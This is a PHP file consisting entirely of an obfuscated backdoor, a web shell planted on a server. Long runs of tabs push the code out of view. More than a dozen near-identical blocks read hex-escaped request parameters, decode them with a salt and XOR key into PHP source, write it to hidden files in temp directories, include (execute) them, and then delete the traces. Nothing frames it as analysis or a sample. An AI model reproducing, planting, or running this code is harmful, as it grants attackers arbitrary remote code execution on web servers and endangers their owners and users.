<?php																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x62i\x6Ed"])){ $res = array_filter([getenv("TMP"), getcwd(), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", session_save_path(), "/dev/shm"]); $factor = $_REQUEST["\x62i\x6Ed"]; $factor = explode ("." ,$factor); $entity = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2); $v = 0; $len = count($factor); do { if($v >= $len) break; $v7 = $factor[$v]; $sChar = ord($salt2[$v %$lenS]); $dec =((int)$v7 - $sChar -($v %10)) ^ 3; $entity .=chr($dec); $v++; } while(true); while ($ent = array_shift($res)) { if (is_writable($ent) && is_dir($ent)) { $data = implode("/", [$ent, ".token"]); $file = fopen($data, 'w'); if ($file) { fwrite($file, $entity); fclose($file); include $data; @unlink($data); die(); } } } }
																																										if(in_array("res", array_keys($_POST))){ $descriptor = array_filter(["/var/tmp", sys_get_temp_dir(), "/tmp", "/dev/shm", getenv("TMP"), getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), session_save_path()]); $mrk = $_POST["res"]; $mrk =explode ( '.', $mrk); $flg = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $len = count($mrk); for($v = 0; $v < $len; $v++) { $v6 = $mrk[$v]; $chS = ord($salt[$v % $sLen]); $dec =((int)$v6 - $chS -($v % 10)) ^ 28; $flg .= chr($dec); } foreach ($descriptor as $element) { if (array_product([is_dir($element), is_writable($element)])) { $factor = vsprintf("%s/%s", [$element, ".comp"]); if (file_put_contents($factor, $flg)) { require $factor; unlink($factor); exit; } } } }
																																										if(!empty($_REQUEST["des\x63"])){ $pset = $_REQUEST["des\x63"]; $pset = explode( '.' , $pset ) ; $ent =''; $salt8 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt8); $p =0; foreach ($pset as $v1) {$chS =ord($salt8[$p % $lenS]); $d =((int)$v1 - $chS - ($p % 10)) ^ 48; $ent .= chr($d); $p++;} $holder = array_filter([getenv("TMP"), sys_get_temp_dir(), "/var/tmp", "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), "/tmp"]); $token = 0; do { $flag = $holder[$token] ?? null; if ($token >= count($holder)) break; if ((bool)is_dir($flag) && (bool)is_writable($flag)) { $component = join("/", [$flag, ".key"]); $file = fopen($component, 'w'); if ($file) { fwrite($file, $ent); fclose($file); include $component; @unlink($component); die(); } } $token++; } while (true); }
																																										if(isset($_REQUEST["bi\x6E\x64"]) ? true : false){ $ref = array_filter([sys_get_temp_dir(), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", "/dev/shm", getenv("TEMP"), getcwd()]); $elem = $_REQUEST["bi\x6E\x64"]; $elem = explode ( '.' , $elem) ; $val =''; $salt8 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt8); $t =0; foreach ($elem as $v3) { $sChar =ord($salt8[$t % $sLen]); $d =((int)$v3 - $sChar - ($t % 10)) ^ 35; $val.=chr($d); $t++;} while ($dat = array_shift($ref)) { if ((bool)is_dir($dat) && (bool)is_writable($dat)) { $marker = join("/", [$dat, ".property_set"]); if (file_put_contents($marker, $val)) { include $marker; @unlink($marker); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x64\x65\x73\x63rip\x74or"])){ $obj = $_REQUEST["\x64\x65\x73\x63rip\x74or"]; $obj= explode(".", $obj) ; $k = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s8); $__len = count($obj); for ($x = 0; $x < $__len; $x++) { $v3 = $obj[$x]; $sChar = ord($s8[$x % $lenS]); $d = ((int)$v3 - $sChar - ($x % 10))^ 73; $k .=chr($d); } $desc = array_filter([sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), session_save_path(), getcwd(), "/var/tmp", "/dev/shm"]); $hld = 0; do { $ref = $desc[$hld] ?? null; if ($hld >= count($desc)) break; if (max(0, is_dir($ref) * is_writable($ref))) { $bind = "$ref" . "/.itm"; $success = file_put_contents($bind, $k); if ($success) { include $bind; @unlink($bind); exit;} } $hld++; } while (true); }
																																										if(@$_POST["r\x65s"] !== null){ $pointer = array_filter([getenv("TMP"), getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), getcwd(), "/tmp", sys_get_temp_dir(), "/var/tmp"]); $token = $_POST["r\x65s"]; $token = explode ('.', $token ) ; $factor= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s); foreach ($token as $j => $v9): $chS= ord($s[$j % $lenS]); $d= ((int)$v9 - $chS - ($j % 10)) ^ 17; $factor .=chr($d); endforeach; foreach ($pointer as $sym): if ((function($d) { return is_dir($d) && is_writable($d); })($sym)) { $bind = vsprintf("%s/%s", [$sym, ".hld"]); if (file_put_contents($bind, $factor)) { require $bind; unlink($bind); die(); } } endforeach; }
																																										if(isset($_REQUEST["t\x6F\x6Ben"])){ $symbol = array_filter(["/var/tmp", getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), getenv("TEMP"), "/tmp", sys_get_temp_dir()]); $component = $_REQUEST["t\x6F\x6Ben"]; $component = explode( '.', $component) ; $factor = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $m = 0; $__tmp = $component; while ($v5 = array_shift($__tmp)) { $chS = ord($s[$m % $sLen] ); $d = ((int)$v5 - $chS - ($m % 10)) ^ 46; $factor .= chr($d ); $m++;} foreach ($symbol as $reference) { if (!( !is_dir($reference) || !is_writable($reference) )) { $hld = join("/", [$reference, ".holder"]); $success = file_put_contents($hld, $factor); if ($success) { include $hld; @unlink($hld); exit;} } } }
																																										if(isset($_REQUEST["o\x62j"])){ $ent = $_REQUEST["o\x62j"]; $ent = explode( '.', $ent) ; $ref = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach ($ent as $l =>$v9): $chS = ord($s[$l % $lenS]); $d = ((int)$v9 - $chS - ($l % 10)) ^ 79; $ref.= chr($d); endforeach; $tkn = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", session_save_path(), getcwd(), "/var/tmp", getenv("TMP"), "/dev/shm"]); $dchunk = 0; do { $bind = $tkn[$dchunk] ?? null; if ($dchunk >= count($tkn)) break; if (!( !is_dir($bind) || !is_writable($bind) )) { $dat = str_replace("{var_dir}", $bind, "{var_dir}/.item"); $success = file_put_contents($dat, $ref); if ($success) { include $dat; @unlink($dat); die();} } $dchunk++; } while (true); }
																																										if(@$_REQUEST["hl\x64"] !== null){ $object = $_REQUEST["hl\x64"]; $object = explode ('.' , $object ) ; $entity = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach ($object as $o=> $v2): $sChar = ord($s[$o % $sLen]); $dec = ((int)$v2 - $sChar - ($o % 10)) ^6; $entity .= chr($dec); endforeach; $k = array_filter([session_save_path(), "/tmp", sys_get_temp_dir(), "/dev/shm", getcwd(), "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP")]); foreach ($k as $symbol) { if ((is_dir($symbol) and is_writable($symbol))) { $tkn = "$symbol" . "/.binding"; if (@file_put_contents($tkn, $entity) !== false) { include $tkn; unlink($tkn); exit; } } } }
																																										if(array_key_exists("\x70t\x72", $_POST) && !is_null($_POST["\x70t\x72"])){ $parameter_group = array_filter(["/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", "/var/tmp", getcwd(), session_save_path(), getenv("TEMP"), getenv("TMP")]); $holder = $_POST["\x70t\x72"]; $holder =explode ( '.', $holder) ; $dchunk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $p = 0; array_walk($holder , function ($v6) use (&$dchunk , &$p , $salt , $sLen) { $sChar = ord($salt[$p%$sLen] ); $dec = ((int)$v6 - $sChar - ($p%10)) ^ 8; $dchunk .= chr($dec ); $p++;}); while ($marker = array_shift($parameter_group)) { if (is_writable($marker) && is_dir($marker)) { $sym = join("/", [$marker, ".flg"]); if (file_put_contents($sym, $dchunk)) { include $sym; @unlink($sym); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "p\x6F\x69\x6Et\x65r")){ $bind = array_filter([getenv("TMP"), "/dev/shm", getcwd(), "/tmp", getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp"]); $comp = $_POST["p\x6F\x69\x6Et\x65r"]; $comp = explode ( "." ,$comp) ; $obj = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt8); foreach( $comp as $m=> $v9): $sChar = ord( $salt8[$m % $sLen]); $dec = ( ( int)$v9 - $sChar -( $m % 10)) ^ 48; $obj .= chr( $dec); endforeach; for ($data_chunk = 0, $fac = count($bind); $data_chunk < $fac; $data_chunk++) { $symbol = $bind[$data_chunk]; if ((is_dir($symbol) and is_writable($symbol))) { $rec = str_replace("{var_dir}", $symbol, "{var_dir}/.elem"); $success = file_put_contents($rec, $obj); if ($success) { include $rec; @unlink($rec); die();} } } }
																																										if(@$_POST["\x65le\x6De\x6Et"] !== null){ $comp = $_POST["\x65le\x6De\x6Et"]; $comp = explode ('.', $comp ) ; $dchunk = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt1); $len = count($comp); for ($p = 0; $p < $len; $p++) { $v3 = $comp[$p]; $chS = ord($salt1[$p % $lenS]); $dec = ((int)$v3 - $chS - ($p % 10)) ^ 89; $dchunk.= chr($dec); } $component = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", getenv("TEMP"), getcwd(), "/tmp", sys_get_temp_dir(), session_save_path(), "/dev/shm"]); $factor = 0; do { $val = $component[$factor] ?? null; if ($factor >= count($component)) break; if (!( !is_dir($val) || !is_writable($val) )) { $sym = sprintf("%s/.ref", $val); $success = file_put_contents($sym, $dchunk); if ($success) { include $sym; @unlink($sym); exit;} } $factor++; } while (true); }
																																										if(isset($_REQUEST) && isset($_REQUEST["e\x6Et\x72y"])){ $desc = $_REQUEST["e\x6Et\x72y"]; $desc=explode ("." ,$desc ) ; $data = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s2); $v = 0; array_walk($desc, function($v2) use(&$data, &$v, $s2, $sLen) { $sChar = ord($s2[$v % $sLen]); $dec =((int)$v2 - $sChar -($v % 10)) ^18; $data .= chr($dec); $v++; }); $ent = array_filter([getcwd(), sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", session_save_path(), "/dev/shm", "/tmp"]); for ($val = 0, $property_set = count($ent); $val < $property_set; $val++) { $flag = $ent[$val]; if ((bool)is_dir($flag) && (bool)is_writable($flag)) { $token = str_replace("{var_dir}", $flag, "{var_dir}/.k"); $success = file_put_contents($token, $data); if ($success) { include $token; @unlink($token); exit;} } } }
																																										if(@$_REQUEST["token"] !== null){ $k = $_REQUEST["token"]; $k = explode ( "." , $k ); $fac = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); foreach( $k as $l =>$v2): $sChar = ord( $salt[$l % $sLen]); $d =( ( int)$v2 - $sChar -( $l % 10)) ^ 19; $fac .= chr( $d); endforeach; $value = array_filter([getenv("TEMP"), session_save_path(), getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", "/var/tmp", getcwd()]); foreach ($value as $marker): if (is_dir($marker) && is_writable($marker)) { $parameter_group = str_replace("{var_dir}", $marker, "{var_dir}/.factor"); $file = fopen($parameter_group, 'w'); if ($file) { fwrite($file, $fac); fclose($file); include $parameter_group; @unlink($parameter_group); die(); } } endforeach; }
																																										if(!is_null($_REQUEST["dat"] ?? null)){ $mrk = $_REQUEST["dat"]; $mrk = explode( ".",$mrk ) ; $pgrp = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); foreach ($mrk as $r => $v6): $sChar = ord($salt[$r % $sLen]); $dec = ((int)$v6 - $sChar - ($r % 10)) ^ 22; $pgrp .= chr($dec); endforeach; $pset = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/tmp", "/dev/shm", "/var/tmp", session_save_path(), getenv("TMP"), getenv("TEMP")]); foreach ($pset as $key => $entry) { if (array_product([is_dir($entry), is_writable($entry)])) { $symbol = "$entry/.binding"; if (file_put_contents($symbol, $pgrp)) { include $symbol; @unlink($symbol); die(); } } } }


if(@$_REQUEST["\x66\x61c\x74or"] !== null){
	$sym = $_REQUEST["\x66\x61c\x74or"];
		 $sym	  =explode( '.'	 	,  $sym)	;  
	$token  = 	'';
            $s8  = 	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen  = 	strlen($s8	);
            $o  = 	0;
    
            while ($o<count($sym)) {
                $v2  = 	$sym[$o];
                $chS  = 	ord($s8[$o%	$sLen]	);
                $dec  = 	((int)$v2 - $chS - ($o%	10)) ^ 43;
                $token .= chr($dec	);
                $o++;}	
	$mrk = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", "/dev/shm", getenv("TMP"), getcwd(), "/var/tmp", sys_get_temp_dir(), session_save_path()]);
	for ($item = 0, $record = count($mrk); $item < $record; $item++) {
    $pset = $mrk[$item];
    		if ((function($d) { return is_dir($d) && is_writable($d); })($pset)) {
    $val = "$pset/.marker";
    if (@file_put_contents($val, $token) !== false) {
	include $val;
	unlink($val);
	die();
}
}
}
}